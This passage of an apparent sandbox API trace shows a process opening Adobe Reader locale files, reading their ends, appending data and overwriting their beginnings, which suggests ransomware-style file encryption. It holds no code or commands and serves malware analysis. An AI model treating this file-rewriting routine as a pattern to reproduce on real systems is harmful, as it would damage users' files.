dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5000 [0038.493] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.493] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.493] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.493] CloseHandle (hObject=0x184) returned 1 [0038.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Annots.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\annots.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.494] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.494] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7c600 [0038.494] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.494] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.495] ReleaseMutex (hMutex=0x128) returned 1 [0038.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.495] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.ITA", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.ITA", lpUsedDefaultChar=0x0) returned 10 [0038.495] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.496] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7b600 [0038.497] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.499] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7b600 [0038.499] WriteFile (in: hFile=0x184, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.499] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.499] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.499] CloseHandle (hObject=0x184) returned 1 [0038.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\pddom.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\pddom.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.500] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.500] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2c00 [0038.500] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.500] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.500] ReleaseMutex (hMutex=0x128) returned 1 [0038.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.ITA", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.ITA", lpUsedDefaultChar=0x0) returned 9 [0038.500] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.502] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c00 [0038.502] ReadFile (in: hFile=0x184, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.502] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c00 [0038.502] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.503] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.503] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.503] CloseHandle (hObject=0x184) returned 1 [0038.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Spelling.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\spelling.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.503] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.503] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2800 [0038.503] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.504] ReleaseMutex (hMutex=0x128) returned 1 [0038.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ITA", lpUsedDefaultChar=0x0) returned 12 [0038.504] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.505] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1800 [0038.505] ReadFile (in: hFile=0x184, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.506] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1800 [0038.506] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.506] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.506] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.506] CloseHandle (hObject=0x184) returned 1 [0038.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DVA.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\dva.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.887] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.887] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3600 [0038.887] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.887] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.887] ReleaseMutex (hMutex=0x128) returned 1 [0038.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x1e6aa14, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.JPN", lpUsedDefaultChar=0x0) returned 7 [0038.887] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.896] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2600 [0038.896] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.899] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x2600 [0038.899] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.899] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.899] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.899] CloseHandle (hObject=0x1ac) returned 1 [0038.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\reflow.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\reflow.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.900] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.900] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1000 [0038.900] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.900] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.900] ReleaseMutex (hMutex=0x128) returned 1 [0038.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.JPN", lpUsedDefaultChar=0x0) returned 10 [0038.900] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2a0f2bc*=0x1000, lpOverlapped=0x0) returned 1 [0038.902] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0038.902] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1588, lpOverlapped=0x0) returned 1 [0038.902] CloseHandle (hObject=0x1ac) returned 1 [0038.902] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Acroform.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\acroform.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.903] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.903] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x48c00 [0038.903] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.903] ReleaseMutex (hMutex=0x128) returned 1 [0038.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.KOR", lpUsedDefaultChar=0x0) returned 12 [0038.903] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.905] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x47c00 [0038.905] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.907] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x47c00 [0038.907] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.908] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.908] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.908] CloseHandle (hObject=0x1ac) returned 1 [0038.908] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\makeaccessible.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\makeaccessible.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.909] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.909] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xbc00 [0038.909] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.909] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.909] ReleaseMutex (hMutex=0x128) returned 1 [0038.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.KOR", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.KOR", lpUsedDefaultChar=0x0) returned 18 [0038.909] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.911] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xac00 [0038.911] ReadFile (in: hFile=0x1ac, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.914] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xac00 [0038.915] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.915] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.915] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.915] CloseHandle (hObject=0x1ac) returned 1 [0038.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.917] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.917] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x95f7 [0038.917] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.917] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.917] ReleaseMutex (hMutex=0x128) returned 1 [0038.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e633ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.917] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x85f7 [0038.921] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, 